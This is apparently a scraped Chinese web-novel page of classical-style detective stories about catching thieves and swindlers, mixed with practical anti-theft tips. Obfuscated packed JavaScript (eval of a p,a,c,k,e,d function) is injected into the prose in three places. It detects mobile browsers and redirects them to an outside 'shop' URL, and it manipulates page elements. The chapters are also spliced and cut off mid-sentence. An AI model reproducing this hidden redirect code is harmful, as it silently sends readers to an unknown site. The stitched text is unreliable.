《无涯案海录》 1. 开封妙手窃官袋,子瞻巧计擒市贼 汴河两岸柳色新,宣德门外人潮涌。这日正是三月三上巳节,朱雀大街东西两厢瓦舍勾栏百戏竞陈,有吐火吞刀的江湖艺人,也有说《三分事略》的舌辩书生。熙攘人群中,一青衣文士正驻足观赏绳伎——那女子在丈二高索上翻若惊鸿,引得围观者喝彩如雷。文士抚掌赞叹时,忽觉腰间微动,探手一摸,缠丝锦袋竟已不翼而飞。 此事若在寻常,不过是市井万千失窃案中一粟。然这文士非等闲人物,乃是新任开封府刑曹参军苏子瞻。他面色不改,反露笑意,低声对随行老吏道:“好个妙手空空,竟在我身上试技。” 一、官家御盗心法 昔年包孝肃公知开封府,曾作《御盗三训》悬于签押房:“防盗如防川,堵不如疏;治盗如治水,导不如化。”此中机窍,苏子瞻深得三味。 (一)明察篇 《周易·系辞》云:“几者,动之微,吉之先见者也。”官家御盗首在察几。那日苏子瞻失窃后并不声张,只以余光扫视人群。见东南角一褐衣汉子正悄然退走,袖口隐约露出一角青锦——正是失窃锦袋之色。苏子瞻向老吏使个眼色,自己却反向而行,行至汴河石栏边,朗声道: “适才哪位朋友与苏某戏谑?这锦袋中别无长物,唯有一方‘明镜高悬’铜印。此物在君手中如烫手山芋,不如还与在下,某愿以十贯钱相谢。” 话音才落,人群中骤起骚动。只见那褐衣汉子面色煞白,猛将锦袋抛入河中,转身欲逃。早有四名作庶人打扮的铺兵合围而上,锁链一套,擒个正着。原来苏子瞻晨间出门时,早将官印存于府中,袋内实为二十枚浸过香料的特制铜钱——此乃宋初名臣张咏知益州时所创“香饵钱”,专为诱捕窃贼所用。 此法暗合《孙子兵法·势篇》:“故善动敌者,形之,敌必从之。”官家防市井窃案,当学苏子瞻“以饵诱之”的机心。今人亦可化用:公安便衣反扒,常备内置微型定位器的“诱捕钱包”;银行运钞车演习,会在□□中夹带电子信号源。看似被动失窃,实为主动张网。 (二)建制篇 唐代《捕亡令》有载:“凡市肆之地,当设望火楼兼察盗贼。”北宋承此制而更精微。苏子瞻回府后,即召东京城内一百二十坊的坊正集会,颁布新制: “自今日始,各坊实行‘三牌联保’。商户悬挂绿牌者,示本店有护卫三人以上;悬黄牌者,示有护卫一人;悬红牌者,示无护卫,邻铺须照应。凡窃贼作案之坊,坊正罚俸三月,联保商户罚铜十斤。” 此法源自《周礼·地官》“司市掌市之治教政刑,量度禁令”,又融《管子·小匡》“五家为轨,轨为之长”的保甲遗意。明代王阳明巡抚南赣时,更创“十家牌法”,每户门前悬牌列明人口职业,相互监察,盗贼遂绝。 今世社区防控,可视为此制延伸。小区楼栋长制、商铺联防微信群、街道“平安眼”视频网络,皆是古法新用。尤需效仿者,是苏子瞻“以商制盗”的巧思——他命开封府将罚没铜钱铸成“防盗赏功牌”,凡协助擒贼的商户,可凭牌减免赋税。此策一出,东京商户无不擦亮眼睛,竟成千万“编外捕快”。 (三)攻心篇 擒获的褐衣贼人押到堂前,苏子瞻不先问案,却令取来一盆清水、一块香皂。贼人愕然间,苏子瞻道:“你手上沾染的薄荷香气,三日不散。这香料产自大食国,开封城唯大相国寺前‘香如故’铺有售。本官今晨特往购置时,掌柜说三日内只售出两份——一份卖予开封府,另一份卖予何人,要不要传掌柜上堂指认?” 贼人汗如雨下。此乃运用《折狱龟鉴》“察情术”:宋代郑克明言“凡勘盗,当先察其恐惧处而攻之”。苏子瞻更进一层,借市井商业网络构筑证据链。那香皂实为寻常皂角制成,所谓“大食薄荷香”纯属虚张声势,却击中盗贼最惧处——被同业知晓身份。 现代刑事侦查中,此术演化为“心理画像”与“信息威慑”。警方通报案情时,常刻意透露“现场提取到特殊生物检材”等模糊信息,促使嫌疑人心理崩溃。商业防盗系统亦同此理:商场广播“请某特征顾客至服务台”,往往能使混迹人群的窃贼仓皇遁走。 二、百姓防窃实策 话说苏子瞻审罢贼人,却不急于结案。他换下官服,扮作游学书生,亲至州桥夜市察访。但见灯火阑珊处,有三类人最易遭窃:一是观百戏入迷的外乡客,二是酩酊醉归的纨绔子,三是怀抱婴孩的妇人。苏子瞻暗叹:“《周易》云‘慢藏诲盗’,此之谓也。” (一)市井行走戒律 苏子瞻寻一茶肆坐定,见邻桌老翁正教导孙儿:“昔年杨文公(杨亿)在东京为官,上元观灯时遇窃。公不慌不忙,吟诗曰‘灯火楼台处处新,不妨分付与闲人’——你道何意?这是告诉贼人,钱财可拿去,莫伤人情面。结果那贼第二日竟将钱袋悬于府衙照壁,附笺曰‘还君明珠双泪垂’。” 这掌故真伪难考,却暗藏百姓防盗第一要义:临盗不失从容。苏子瞻据此归纳“市井三守”: 一守“外松内紧”。仿《孙子兵法》“能而示之不能”,贵重物品不露于外。宋人用“叠袋法”:外置粗布杂用袋,内置暗袋藏钱。今人可化用为“分层置物”:外层钱包放零钱公交卡,内层暗袋藏大额现金银行卡。 二守“眼观六路”。窃贼作案,必有“望风”“遮挡”“动手”三环节。宋代《琐碎录》载识贼口诀:“目不观戏眼观人,袖不长垂袖藏风。”今人逛街时,当学苏子瞻“余光巡狩法”:目光追随表演,余光扫视身旁。若见有人持衣物、报纸无故贴近,需立即变换站位。 三守“声东击西”。苏子瞻在茶肆见一商贾应对极妙:发觉被盯上后,突然高呼“王掌柜,怎的也在此处”,假作遇故人快步向前。窃贼以为行迹败露,自然退去。此法出自《三十六计》“无中生有”,现代防身术称“主动破局”。 (二)器物防御巧技 更深时分,苏子瞻借宿大相国寺东厢。僧寮中遇一还俗老吏,二人烹茶夜话。老吏取出一枚巴掌大铜盒,机括精巧:“此物名‘惊雀函’,内设绷簧铜片。钱袋放入后若被非正常手法开启,即发清越鸣响,声传十丈。” 苏子瞻把玩良久,叹道:“此物暗合《墨子·备城门》‘悬铃梆’之法。”老吏笑曰:“不止如此。这铜盒夹层可贮香粉,一旦开启,则沾染人手,七日不褪。老夫昔年任巡检,凭此破获十三起连环窃案。” 二人遂切磋出“器物三防”: 一防“探囊”。宋时流行“连环袋”:袋口设活结,非知窍者难解。今人可在背包拉链上加装微型报警器,淘宝有售“防丢器”,分离超三米即鸣响。 二防“调包”。明代《便民图纂》载“标记法”:银锭底部錾刻暗记,兑换时需对图印。今人用钞,可养成在特定位置轻折记号的习惯。手机支付时代,则要谨防二维码被偷换——商家宜用动态二维码,顾客扫码前须核验商户名。 三防“割窃”。清代《虫鸣漫录》记盗贼用“剃刀片割袋”,遂有“夹革囊”问世:外层布帛内衬牛皮。今之防盗背包,多用割不破的“芳纶材料”,正是古法新材。 (三)急智应对心诀 五更鼓响时,老吏说起最惊险一役:某年押解税银赴京,夜宿黑店。察觉有异后,他佯装醉酒,将银箱锁链系于床腿,钥匙吞入腹中。贼人破门时,见他鼾声如雷,银箱固若金汤,只 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“早市闹哄哄,钱财莫露风。 背包胸前挎,贼人干瞪眼。 手机不离手,付款快如风。 遇贼莫慌张,大喊‘着火啦’!” ——最后一句最妙,宋人皆知“救火”乃头等大事,一呼百应,贼人最惧。 苏子瞻莞尔,想起《汉书·尹赏传》“市井谚语,可补官箴”。遂命书吏将这俗谚抄录,与《御盗三训》同悬公堂。又召来东京城里坊的“团头”(丐帮首领),嘱道:“这八句口诀,请弟兄们传唱汴河两岸。凡能背诵者,每月初一可至开封府领救济粮三升。” 不出三月,东京窃案减半。有贼人改行卖炊饼,摊前也挑那八句布幌。苏子瞻巡视时见了,买饼三张,多付十文。贼人愧谢,苏子瞻笑曰:“昔孔子为鲁司寇,三月而鬻牛马者不豫价。今子卖饼明码标价,亦是圣人之化。” 这段公案后来载入《续资治通鉴长编》,附有苏子瞻批注:“御盗如治水,堵则溃,疏则通。百姓知防盗之法,犹水知归海之途,何须高堤深坝?” 四、鉴古知今应变策 今人读此案,当悟三层机杼: 其一,防盗重在“防心”。苏子瞻悬谚语于市,是让防盗意识入百姓日常。今之社区宣传栏、公交地铁广播、短视频平台反诈短剧,皆承此道。美国犯罪学家克拉克提出“情境预防”理论,核心正是“增加犯罪难度、提高犯罪风险、减少犯罪收益”,与苏子瞻“三牌联保”异曲同工。 其二,科技须赋能古法。宋人“香饵钱”演化至今,是GPS追踪器;宋人“惊雀函”进化至今,是智能防盗包。然技术再精,不若人心警觉。德国刑警有训:“最好的警报器是主人的眼睛。”恰如苏子瞻余光识贼。 其三,治理需刚柔并济。苏子瞻严惩窃贼,却助改过者卖饼为生,暗合现代“恢复性司法”理念。挪威监狱系统以改造取代惩罚,再犯率不足两成,正是“化盗为民”的当代实践。 最末当记老吏夜谈时所言:“昔郑国子产不毁乡校,曰‘夫人朝夕退而游焉,以议执政之善否’。防盗之道,亦当容百姓议之、习之、传之。”今之“朝阳群众”“武林大妈”,实是千年保甲制的鲜活血脉。唯有官民同心,方能使“空空妙手”无从施技,方能让市井阛阓,永续清明太平。 这正是: 宣德门外柳如烟,妙手空空暗度钱。 官悬三牌联市井,民传八谚护腰缠。 香饵可钓梁上客,清歌能化袖中愆。 莫道防盗寻常事,治世机枢在瓦阛。 2. 月港诡局诈番舶,铁砚智破脱壳计 隆庆三年,漳州月港开海禁,番舶云集。这日市舶司前忽起喧嚷,一绸缎商伏地痛哭,称遭“脱剥连环局”——先有“牙人”介绍暹罗商队,预付五百两订金;复有“官差”查验货样,强收百两规费;最后“番商”携锦缎登船,扬帆而去,留下的樟木箱内唯塞破絮杂草。商人察觉有异追至码头,但见海天茫茫,帆影已化碧波深处一点墨。 此事惊动漳州府推官沈铁砚。此公乃嘉靖年间刑部郎中沈岱之后,家传《洗冤录补注》三卷,尤擅勘验商贾诈案。闻报后不查船踪,不绘影形,反命书吏取来《大明律·市舶提举司则例》,朱笔圈出“凡番货入库,必钤火漆双印”九字。 一、官府破局法钥 (一)现场重勘术 沈铁砚亲至码头,不验空箱,反观箱外痕迹。见樟木箱底沾有青褐色屑末,捻之嗅有腥气,立判:“此乃闽北‘溪涧泥’,离水半日即泛白沫。装货处在内河埠头,非外海码头。”又命仵作取箱角蛛网,置琉璃盏中观其挣扎形态,断言:“此网经剧烈震荡,结网不足三个时辰——所谓‘番船’,实为昨夜泊于内河之小船伪饰。” 此法暗合《棠阴比事》“观微知著”之道。宋代郑克曾断窃案,见门闩蛛网完好而知为内盗。今之刑侦学称“现场重建”, FBI教材载“蛛网震裂程度可推作案时间”,东西方智慧在此交汇。 (二)票据溯源法 商人呈上“暹罗国勘合文书”,纸墨皆新。沈铁砚冷笑,取市舶司存档真勘合比对,指其破绽:“真文书押缝用珊瑚朱砂,日照现金丝纹;此纸用寻常辰砂,此其一。真文书暹罗文‘贡’字末笔上挑,此纸平拖,此其二。”更取宣德炉烘烤纸背,隐现“泉州仁风坊黄记纸铺”水印——原是本地伪造。 此处化用《折狱龟鉴》“书证辨伪”之术。明代刑部《勘验成式》规定:勘合文书须三重防伪,纸用泾县特制,墨添龙脑香,印泥调珍珠粉。现代票据鉴定中的紫外荧光、纤维分析,正是古法科技化延伸。 (三)人相追踪诀 沈铁砚问商人:“那‘牙人’有何特征?”答:“左眉断为三截,说话时好捻山羊须。”再问“官差”,曰:“面有青记如展翅鸦。”三问“番商”,唯记“双耳垂珠,坠金环镂空雕摩羯鱼”。 推官即召全城画师,据述绘影。特嘱:“眉断三截者,按《人伦大统赋》为‘兄弟阋墙’之相;面挂鸦形青记,相书称‘隼翼欺主’;耳垂摩羯环,则示信奉婆罗门教——此非寻常骗徒,乃通晓番俗、精研相术之积年惯犯。” 画像张挂三日,有码头力夫来报:月前见三人于天妃宫焚纸船,其中断眉者口诵“妈祖娘娘恕罪”。沈铁砚闻之抚案:“此乃‘卸罪仪’,闽南诈徒作案后必行之法事。”遂派捕快暗伏天妃宫,第七日果擒正作法三人。 二、百姓防骗要诀 (一)市舶交易三验 沈铁砚判案毕,颁《防脱剥令》于市舶司前: 一验勘合。真勘合左上角隐绣海浪纹,以指腹摩挲有凸起;伪者平滑。此法源自宋代“盐引”防伪术,《宋会要》载“引票压印潜龙纹,盲者手抚可辨”。 二验钤印。官方火漆印遇热则现“贡”字暗记,此乃宣德年间御用监秘法。商人可携简易炭炉,当场烘验。 三验船籍。真番船桅杆必挂“鲸骨符”,此物乃海船经南海风暴后,鲸骨自然嵌桅而成,伪不可得。明代《东西洋考》详载此俗。 (二)银钱交割四察 老吏献民间谚诀: “银过手,须辨声——九成银落桌如闷雷,七成银响若碎冰。 钱入斛,当观色——官铸青钱泛鹅黄,私铸灰暗带铁腥。 票离柜,莫急行——对照骑缝半柱香,细看墨色晕未晕。 契画押,且慢欢——朱砂印泥掺金粉,日头底下星点点。” 此诀融汇多项古法:辨银声本自《天工开物》“铸银条记”,观钱色出自《泉志》“青黄辨伪法”,验骑缝效《明代税契》“阴阳合缝制”,查朱砂则用《装潢志》“印色甄别术”。 (三)急智破局三策 骗局将成时,可用:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宣和二年冬,开封城连发七桩奇案。时值腊月,汴河两岸的垂柳早已落尽枯叶,河面上却仍是千帆竞渡。自州桥至龙津桥,早市的炊饼香气与码头苦力的汗味混杂在一起,脚店门前的“散酒店”旗在寒风中猎猎作响。卖冻梨的小贩呵着白气叫卖,绸缎庄伙计正卸下门板,露出里头苏杭的宋锦、蜀中的缭绫。谁也没留意,昨夜户部侍郎私库里那匣南海珠已不翼而飞,只在高高的房梁上,多了七点朱砂绘的星子,在晨光中泛着幽幽的光。 这消息像滴进滚油的冷水,在晌午前炸遍了全城。相国寺东门大街的“唐家金银铺”里,几个老主顾围着熏笼低声议论:“听说了么?盐铁使别院那尊鎏金佛也丢了……”“作孽哟,那佛肚里怕不塞了千百两金叶子?”“嘘——你瞧斜对过‘清风楼’,那掌柜的脸比灶灰还白,上月才给盐铁使送了三百两‘茶敬’……” 正说着,巷口传来孩童拍手脆唱:“贪官污吏休猖狂,北斗照尔良心房;朱砂一点悬梁上,夜来明珠填饥肠!”卖梨小贩急忙捂了孩子的嘴,四下张望,眼里却藏着笑意。临街二楼茶馆里,说书先生把醒木一拍:“今日不说三国,单表一桩新鲜事——列位可知昨夜三更,北斗七星落在了开封城?” 开封尹李纲在府衙签押房听到童谣时,正用一把小银剪修整烛芯。这位政和二年的进士生得清瘦,眼角细纹如刀刻,此刻唇角却微微扬起。他推开窗,见院中老槐枝桠如铁划破灰白的天,忽然对侍立一旁的刑曹主事道:“取《开封府舆图》来。” 是夜烛火通明。羊皮舆图在长案上展开,李纲执朱笔,在七处地标轻轻一点:城东南汴河大街、城西金梁桥街、大内前州桥西街…笔锋游走,七点连成斗杓之形。主事瞳孔骤缩:“这贼人…”话音未落,李纲笔尖停在斗柄末端,正是蔡京赐第所在的景灵东宫南墙外。主事冷汗涔涔:“他、他莫非敢打蔡太师的主意?” “形人而我无形。”李纲搁笔,指尖轻叩图上山形纹,“你看这七星轨迹——前六案皆在坊市稠密处,唯这第七点选在太师府外墙。是示威,更是试胆。”他转身从多宝格里取出一卷星图,“去钦天监,调近三月太乙星行踪。” 一、官府收网秘策 (一)观星定踪术 三日后,钦天监博士战战兢兢呈上星图。李纲在灯下细细比对,见七桩案发夜,太乙星皆入紫微垣。主簿在旁嘀咕:“莫非真是个能掐会算的妖人?”李纲失笑,指着《周髀算经》上一行小注:“太乙者,巡狩之使也。贼特选此日,是要告诉天下——我乃代天巡狩。” 但他心思不止于此。命画师将七处现场所绘北斗一一摹来,七张宣纸铺了满案。李纲负手看了半柱香工夫,突然以指蘸茶,在案上划出一道弧线:“你们看这七星柄端,可觉有异?”众人细观,果然七组星子皆向东偏斜数分。李纲眼底精光一闪:“大相国寺后殿,有幅《炽盛光如来降九曜星官图》。” 这句话如石破天惊。当夜子时,相国寺方丈颤巍巍打开藏经阁暗门时,正见一青衫书生盘坐蒲团,就着琉璃灯描摹穹顶星图。捕快一拥而入,书生不惊不避,缓缓搁笔。从他袖中搜出的《乙巳占》残卷里,夹着张松烟墨绘的“贪狼星晦明周期表”,页边批注细如蚊足:“十一月丙子,贪狼光敛三刻,宜取珠玉;十二月庚寅,巨门色昏,当收金铁…” (二)律法攻心计 公堂之上,青衫书生白慕斗直立如松。李纲挥手屏退左右,亲自搬了张杌子:“坐。”又取来一部蓝布封皮的《唐律疏议》,翻至“贼盗”篇,指尖点在某行:“监临主守自盗,加凡盗二等。你所取诸物,本属贪官监守自盗所得。依律,该斩。” 白慕斗面色不改,反而仰天大笑:“好一个依律该斩!使君可读过《孟子》?‘诛不仁也,诛一夫矣’!那些蠹虫侵吞河工银、克扣军饷时,律法何在?他们逼得陈留县百姓易子而食时,使君的公堂又在何处?!”笑声凄厉,他猛地扯开青衫,露出雪白中衣——上面以朱砂密密麻麻记录着:某年某月某日,曹门巷寡妇张王氏,得粟二斗;某日,虹桥脚夫李疙瘩,获银三钱…整整一百四十三户,笔笔清晰如账房簿记。 李纲肃然起身,竟长揖到地:“原是位义士。然则…”他话锋一转,“刑当罪则威,不当罪则侮。你以私刑犯国禁,纵有千般道理,终是乱了法度。”他趋前两步,在白慕斗耳边低语片刻。书生听罢,怔了半晌,忽然推金山倒玉柱,恭恭敬敬磕了三个头。 这便是日后传遍开封府的“收编三约”: 一约“戴罪立功”,许以“缉盗顾问”虚衔,专查贪墨线索——这职位前朝曾有,太宗年间侠盗“我来也”便以此身分助破过军粮大案。 二约“明暗双轨”,明为编外书吏,暗享风闻言事之权,所呈密札直送尹衙。 三约“以盗制盗”,以其江湖阅历,专破市井诈局。 (三)舆情导引法 李纲深知此事牵一发动全身。次日,汴河大街最热闹的“清风楼”前,说书先生醒木一拍,改了话本:“列位可知,那‘白北斗’原是开封府布了三年的暗桩!专为查贪官污吏的底细…”与此同时,府衙照壁贴出黄榜,将七桩失窃的南海珠、金佛、玉带等物一一列明,末了朱笔批注:“上述赃物已悉数充公,转拨都水监,用作今岁黄河凌汛堤防之资。” 百姓哗然。有人指着一尊金佛“折银八千两”的数字倒吸凉气,更多人看到“拨付堤防”四字,眼眶发热。第三日,大相国寺山门前立起一座青石碑,阳面刻“遏恶扬善”四个擘窠大字,阴面以细楷详述一百四十三户受济贫民的故事,唯独隐去姓名。碑前香火三日不绝。 而真正让全城震动的,是府衙门前新悬的木榜——将《唐律》中“监临主守自盗”“坐赃论罪”等条款朱笔标出,旁边一行小字:“凡举报贪墨,查实可分没官赃银三成。”有老吏私下念叨:“这手笔,倒像《管子》里‘民得其利,则操之以刑’的道理…” 二、义盗自新要道 白慕斗换上皂隶公服那日,开封城飘起了细雪。他站在府衙廊下,看雪片落在院中那株老槐枯枝上,忽然对李纲道:“大人可信相术?”不待回答,从袖中取出一卷手稿,“此《冰鉴补遗》,乃晚生这些年观人所得。” 李纲展卷,见开篇写道:“贪墨者,五露三尖。眼露欲光,如鹰视肉;鼻露财孔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088155|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似窍招风;口露饕纹,唇角下垂;耳露赘肉,垂珠肥厚;喉露贪结,颈前凸起。此谓五露。至若颧尖似刃,主苛酷;颐尖如锥,主悭吝;指尖若钩,主窃夺,是为三尖。”他抬头深深看了白慕斗一眼:“你这相法,倒与荀卿‘相形不如论心’之说暗合。” “形由心生。”白慕斗走到院中,掬一捧雪在石盆内化开,请衙役扮作富商投银。只见那“清官”投银,银锭直坠盆底,咚然有声;轮到“贪官”角色,那银锭入水竟微微浮晃,带起细碎气泡。众人称奇,白慕斗道:“心虚则手颤,手颤则气入。此法不过化用《洗冤录》辨溺死尸的窍门——活人投银尚且如此,何况死物?” 他又传下一套“三问识心”:一问可愿捐修义塾,二问可敢公示账目,三问可能夜不闭户。“真清官,三问皆答得坦然;贪墨之徒,首问则吞吐,次问则色变,三问必暴怒。”有老刑名拊掌:“这倒合了《鬼谷子》‘张网得实,其应必出’!” 三日后,白慕斗呈上亲撰的《市井鉴诈录》,李纲连夜披阅,见其中记载:“假清官者,必悬‘明镜高悬’匾,然匾下多供金佛,此谓表里不一;伪善人者,好当街施粥,然米中掺糠,是谓欺世盗名;冒义士者,常言劫富济贫,所济皆其党羽,实为结党营私。”更附“百姓自保三诀”:财不露相,大额银钱宜换交子缝入夹袄;契必三验,验官印、指模、暗纹;急则鸣钲,随身佩小铜钲,遇诈即击,依《熙宁街巡令》,闻钲声街卒须至。 三、古今义盗鉴照 白慕斗入府第七日,江南押解贡缎的官船抵京。早有密报:这批绸缎以次充好,市舶司官员受贿三千两。李纲本欲按例查封,白慕斗献计:“请大人佯作不知,待贡箱抬入宣德门,当殿开验。”腊月廿三大朝会,二十四只朱漆贡箱抬至殿前,箱盖开启刹那,霉絮如雪纷飞,满殿朱紫骇然。受贿官员当场瘫软,徽宗震怒,挥毫题“贞石堂”匾赐开封府——取“坚贞如石”之意。 是夜大雪,白慕斗踏雪求见。他在李纲面前卸下公服幞头,一身青衫如初:“在下所为,终是越俎代庖。愿效古训‘不在其位,不谋其政’,请辞入嵩山书院,从程门先生治《春秋》。”李纲默然良久,从书架取下一部翻旧的《唐律疏议》相赠,扉页朱批:“以律为刃,不若以律为舟。渡人渡己,皆慈航也。” 白慕斗躬身接过,雪光映着他清瘦的侧脸。窗外传来更鼓声,汴梁城的灯火在雪夜中明明灭灭,如星斗撒落人间。 这正是: 宣和冬深北斗寒,朱砂点破腐儒冠。 义盗原藏青衫里,贪官尽在星图端。 碑铭敢写遏恶字,律典高悬扬善栏。 莫道江湖无正气,匣中唐律有慈丹。 诗曰: 法网恢恢不漏针,星图朱迹印人心。 若非青衫藏道义,怎得冰鉴照古今? 且说那白慕斗辞了开封府,一袭青衫,两箱书卷,径投嵩山书院去。这一去,不意又牵出一桩离奇怪案,直教: 春秋笔断阴阳案,漕运图藏祸乱根。 暗渠夜走三十万,明堂昼悬九五尊。 欲知端的,且看下回分解。 4. 洛阳奇案盗库银,慕斗智破春秋谶 宣和三年春,嵩山古柏新芽初萌,晨雾未散的山道上骤起马蹄声。开封府缇骑踏碎石阶青苔,为首黑脸参军勒马门前,对开门小童亮出鎏金鱼符:“奉旨查案,请白先生说话。” 话音未落,东廊下转出一人。青衫素履,袖口染着未干的松烟墨,正是去岁在开封以“北斗悬檐”名动朝野的白慕斗。他接过鱼符只一瞥,便递还参军:“可是为洛阳府库那三十万贯?” 参军一怔,自怀中取出邸报展开。但见纸面朱批淋漓,写的是半月前河南府八百里加急——洛阳府库新铸“宣和通宝”三十万贯不翼而飞,七名守库吏暴毙身亡,现场唯余半卷烧残的《春秋公羊传》,焦页上印着猩红指痕。蹊跷处朱笔圈出三行:一者银分七库,各需三司使、转运使、提点刑狱三印齐备;二者案发当夜,三印皆在本府印匣,封条完好;三者七吏尸身排列竟成北斗之形。 白慕斗目光扫过“血指痕”三字,忽将邸报轻掷石案:“不是七人暴毙,是六死一遁。”参军愕然抬头,见他已负手望向山门外绵延的官道:“《春秋》庄公六年书‘齐人来归卫俘’,左氏解经谓‘称人者,众辞也;称俘者,非真俘也’。这案中‘七人’是众辞,‘暴毙’亦未必是真毙。”言罢转身入内,青衫拂过门槛时丢下一句: “备马,去洛阳。” 一、书院勘验录 (一)断简重构法 河南府库乃隋含嘉仓旧址,青砖穹顶高逾三丈。白慕斗踏入阴冷库房,陈米与铁锈气味扑鼻。地上白粉画六具人形,竟呈北斗排列——他眼皮微跳。府尹絮叨:“六人皆中砒霜而亡,怀中各藏《春秋》残页,拼合乃僖公二十八年‘城濮之战’章……” 白慕斗不语,俯身细察砖缝,忽以指甲挑出暗红絮状物,就天窗光辨之:“此乃吐蕃绰织法羊毛,中原罕见。”行至西墙铁门,见锁孔有新痕,自怀中取牛皮卷展之,内列长短铜针——乃昔年行走江湖的□□具。取最细者探入锁孔,轻勾带出银白碎屑。 “锡。”捻碎成粉,“新铸铜钱掺锡防锈,此屑乃钱箱拖动所刮。然有蹊跷…”他起身丈量铁门与最近尸身距离,“若从门外运三十万贯钱箱,必经此尸。可看此处,”指尸身腰侧地面,“砖缝积灰完好,车辙印全无。” 府尹冷汗涔涔:“莫非银尚在库中?”白慕斗不答,径至库中,以靴跟叩地。至第三列第七砖,回声空洞。目露精光:“取《水经注》。” 众不解间,他已翻至“谷水”篇:“‘隋大业初,于含嘉仓底穿暗渠,通洛水,以备漕运’。”命人撬砖,果见黑沉水道,宽可容舟。水面漂半片焦黄纸,捞起乃《公羊传》“宋公与楚人战于泓”残章。 “原来如此。”白慕斗嗅残页,“硝石、硫磺、草木灰…此乃火药余味。有人炸暗渠闸门,自水路运银。那六具尸身,”视白粉人形,“乃替死鬼——贼欲使我等以为监守自盗,事败同尽。” (二)墨迹鉴年术 返地面,白慕斗取半卷《春秋》。日光下迎光细观,忽“咦”声:“此非血指印。”焦痕中虽有指形,然纹路过清,边缘微晕。取清水棉签轻拭,水泛浅红。 “朱砂调胶,掺岭南槐蜜。然要害在…”将焦页覆新宣纸,喷水雾轻压,纸面渐显淡痕——竟是半枚“河南府勘合”骑缝章! 满堂哗然。府尹颤声:“此印去岁腊月方启用…”白慕斗颔首:“故此书绝非库吏私藏。乃有人以新印钤旧籍,纵火伪作现场。”稍顿,“然作伪者百密一疏——此印泥以蓖麻油调朱砂,乃东京文思院特制,专供三品以上衙署。河南府所用,当为芝麻油调朱砂。” 参军猛省:“洛阳城中,何处有蓖麻油印泥?”“二处。”白慕斗竖指,“一曰转运使司,二曰…”与参军对视,同声:“西京留司。” (三)水道追踪诀 当夜子时,洛水南岸荒滩。白慕斗率四名谙熟水性衙役,顺暗渠出口下探。春寒水冷,行约二里,忽举手示警——前芦苇丛中隐露半截桅杆。 乃平底沙船,吃水深。众潜至舷侧,白慕斗以铜镜反月照之,见船帮新漆下,赫然军船“防撞铁牙”。心中雪亮,打手势。众攀舷而上,舱内空荡,唯甲板散落数枚铜钱。拾视之,正“宣和通宝”,边带铸疤。 “银已转移。”白慕斗捻钱,“然留此船,是第二破绽。”蹲身刮漆皮轻嗅,“桐油掺青黛,此乃将作监修缮宫室配方。盗银者能调军船,能用宫漆…”望黑沉北岸,西京大内应天门轮廓隐现。 参军倒吸凉气:“先生谓宫中有应?”白慕斗不答,自怀取焦页,就月光再观。忽指停“宋公与楚人战于泓”之“泓”字——此字墨色略深,笔画交叠有痕。 “吾知之矣。”目闪寒光,“此非《春秋》,乃战表。” 二、春秋大义谳 (一)微言断案诀 次日西京留司,白发守监颤巍奉茶。白慕斗不接,展焦页于案:“公可知‘泓之战’典?”老监茫然。白慕斗自述:“僖公二十二年,宋襄公与楚战于泓。宋阵未成,楚人半渡,司马请击,襄公曰‘君子不困人于厄’。终致宋师败绩。” 指尖点“泓”字交叠处:“此字后添。原文当为‘濮’——城濮之战,晋文公退避三舍,以信义胜楚。有人改‘濮’为‘泓’,是告我等:盗银者如宋襄公迂阔;查案者若晋文公,当知进退。” 参军惑然。白慕斗忽转视老监:“公公掌内库漆料,可知桐油掺青黛配方,用于何处?”老监面白:“唯…唯大内福宁殿、睿思殿,及太子东宫用过此漆。” 满室死寂。白慕斗起身揖:“谢公公开诚。”转身即出。参军急追:“先生不查了?”白慕斗廊下止步,视庭中玉兰正盛:“《春秋》昭公十二年,楚灵王筑章华台,右尹子革谏‘民之力尽矣’。今有人盗库银三十万,不为私利,反留战表——此欲以民膏筑其章华。” 参军骇然:“先生谓…东宫?”白慕斗摇首:“吾未言。然可记得《唐律疏议·诈伪》载‘伪造御宝者斩’?此案既有伪印泥,当按伪造御用物查。至若牵涉何处…”微哂,“《春秋》有‘为尊者讳’笔法,你我所当效。” (二)漕运溯源法 三日后,汴河虹桥码头。白慕斗扮茶商坐棚中,观漕船如梭。参军扮伙计低语:“查实了,那沙船乃南京应天水军旧船,三年前报损…”白慕斗抬手止,目追一艘吃水深货船。其过桥洞时,船工撑篙姿异——非前顶乃侧后推,似避触何物。 “随此船。”白慕斗搁茶钱。二人尾至东水门外,见船拐入私家码头。高墙深院,门匾鎏金“陈州粮社”。参军色变:“此陈太尉家业…” 语未竟,门出管事,正与船头交文书。白慕斗眼利,见文书抬头隐现“西京留司”字。心念电转,忽低声诵:“《春秋》桓公十五年,‘天王使家父来求车’。”参军不解,白慕斗释:“周天子遣大夫求车,是逾礼。今西京留司文书现于陈州粮社——此非逾制否?” 语间,管事觉,望来。白慕斗不避,反上前朗声:“在下嵩山书院白慕斗,特来请益——《春秋》庄公十三年,‘齐人灭遂’,杜预注‘遂,舜后’,不知贵社东家,可舜之后裔?” 管事愣,此没头语令其茫然。白慕斗续道:“若非舜后,何以‘陈’为号?若是舜后,当知《尚书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 